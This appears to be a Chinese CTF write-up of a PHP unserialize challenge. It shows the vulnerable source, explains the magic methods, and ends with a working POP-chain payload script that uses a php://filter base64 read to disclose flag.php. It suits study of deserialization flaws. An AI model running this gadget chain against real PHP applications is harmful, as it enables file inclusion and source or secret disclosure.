打开就是代码
- Welcome to index.php
- //flag is in flag.php
- //WTF IS THIS?
- //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
- //And Crack It!
- class Modifier {
- protected $var;
- public function append($value){
- include($value);
- }
- public function __invoke(){
- $this->append($this->var);
- }
- }
-
- class Show{
- public $source;
- public $str;
- public function __construct($file='index.php'){
- $this->source = $file;
- echo 'Welcome to '.$this->source."
"; - }
- public function __toString(){
- return $this->str->source;
- }
-
- public function __wakeup(){
- if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
- echo "hacker";
- $this->source = "index.php";
- }
- }
- }
-
- class Test{
- public $p;
- public function __construct(){
- $this->p = array();
- }
-
- public function __get($key){
- $function = $this->p;
- return $function();
- }
- }
-
- if(isset($_GET['pop'])){
- @unserialize($_GET['pop']);
- }
- else{
- $a=new Show;
- highlight_file(__FILE__);
- }
看起来就是一个反序列化
一个一个来看
- class Modifier {
- protected $var;
- public function append($value){
- include($value);
- }
- public function __invoke(){
- $this->append($this->var);
- }
- }
append函数会进行文件包含,第二个是魔术方法
__invoke:当尝试以函数的方式调用对象时,会调用此方法。
第二个
- class Show{
- public $source;
- public $str;
- public function __construct($file='index.php'){
- $this->source = $file;
- echo 'Welcome to '.$this->source."
"; - }
- public function __toString(){
- return $this->str->source;
- }
-
- public function __wakeup(){
- if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
- echo "hacker";
- $this->source = "index.php";
- }
- }
- }
第一个就是构造函数,不说了
第二个也是魔术方法
__toString:返回一个类被当做字符串时,调用此函数
第三个函数
__wakeup:在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作。
这里面是一些过滤
第三个类
- class Test{
- public $p;
- public function __construct(){
- $this->p = array();
- }
-
- public function __get($key){
- $function = $this->p;
- return $function();
- }
- }
__get:当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
而且这个函数会返回一个函数$function,而$function就是当前类的$p
思路:
这里的Test类有个的get方法会返回函数,如果我们将$p改为Modifier类,就会调用get方法中的$function(),从而调用Modifier类的invoke方法
要调用get方法,就要调用一个不存在的属性,可以利用Show类
所以我们可以把Show类中的source定义为一个类,经过wakeup方法中的正则匹配时,调用toString方法。当str也为一个类时,在str中就不可能不存在source属性,进而调用Test类的get方法
payload:
- class Modifier {
- protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
-
- }
- class Test{
- public $p;
-
- }
- class Show{
- public $source;
- public $str;
-
- }
- $pop = new Show();
- $pop->source = new Show();
- $pop->source->str = new Test();
- $pop->source->str->p = new Modifier();
- echo urlencode(serialize($pop));
- ?>

传参后将得到的内容base64解码得到flag